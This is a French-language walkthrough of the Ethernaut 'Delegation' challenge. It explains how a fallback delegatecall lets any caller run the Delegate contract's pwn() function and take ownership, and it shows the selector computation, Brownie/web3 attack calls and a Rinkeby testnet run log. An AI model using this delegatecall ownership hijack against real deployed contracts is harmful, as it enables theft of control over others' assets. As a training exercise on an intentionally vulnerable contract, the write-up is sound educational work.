L'objectif de ce challenge est de devenir le owner du contrat.
A première lecture, il n'est pas possible de devenir owner du contrat en appellant seulement une méthode du contrat.
Nous pouvons voir que la méthode fallback
effectue un delegatecall
sur le contract Delegate
qui contient la méthode pwn
Cette méthode pwn
permet de modifier la variable owner
par msg.sender
Lorsqu'un contrat A fait un appel à delegatecall
sur le contrat B, le code du contrat B est exécuté avec le contexte du contrat A
Nous pouvons ainsi devenir owner du contrat Delegation
en réussissant à appeller la méthode pwn
du contrat Delegate
Pour pouvoir appeller la méthode pwn
via le delegatecall
, nous devons utiliser le sélecteur de la méthode pwn
: il s'agit des 4 premiers octets du hash
de la signature de la méthode:
web3.keccak(text='pwn()')[0:4]
Une méthode pour faire cet appel est d'utiliser transfer
avec la payload
en tant que paramètre data
:
hacker.transfer(to=delegation.address, data=web3.keccak(text='pwn()')[0:4])
Une alternative est d'utiliser Contract.from_abi
:
target = Contract.from_abi("Delegate", delegation.address, Delegate.abi)
target.pwn({'from': hacker})
Afin de pouvoir agir sur la chaine rinkeby
, il est nécessaire de créer un fichier .env
contenant la clé de projet Infura et la valeur de la clé privée du compte utilisé pour le challenge:
export WEB3_INFURA_PROJECT_ID='AABBCCDD.......'
export PRIVATE_KEY='0xDEADBEEFCACA...'
En utilisant la console sur le site d'ethernaut openzeppelin on récupère l'adresse du contrat déployé pour lancer l'attaque ainsi:
$ brownie run scripts/attack.py main "0xf59942b26B2F967EE34A148d99dC128192555129" --network rinkeby
Brownie v1.18.1 - Python development framework for Ethereum
DelegationProject is the active project.
Running 'scripts/attack.py::main'...
Transaction sent: 0xa66ccb484dcee1249ca7d76a2f699342f25758cfa4cc17c22d3fea3a33d9c018
Gas price: 1.000000017 gwei Gas limit: 32843 Nonce: 229
Transaction confirmed Block: 10378179 Gas used: 31288 (95.27%)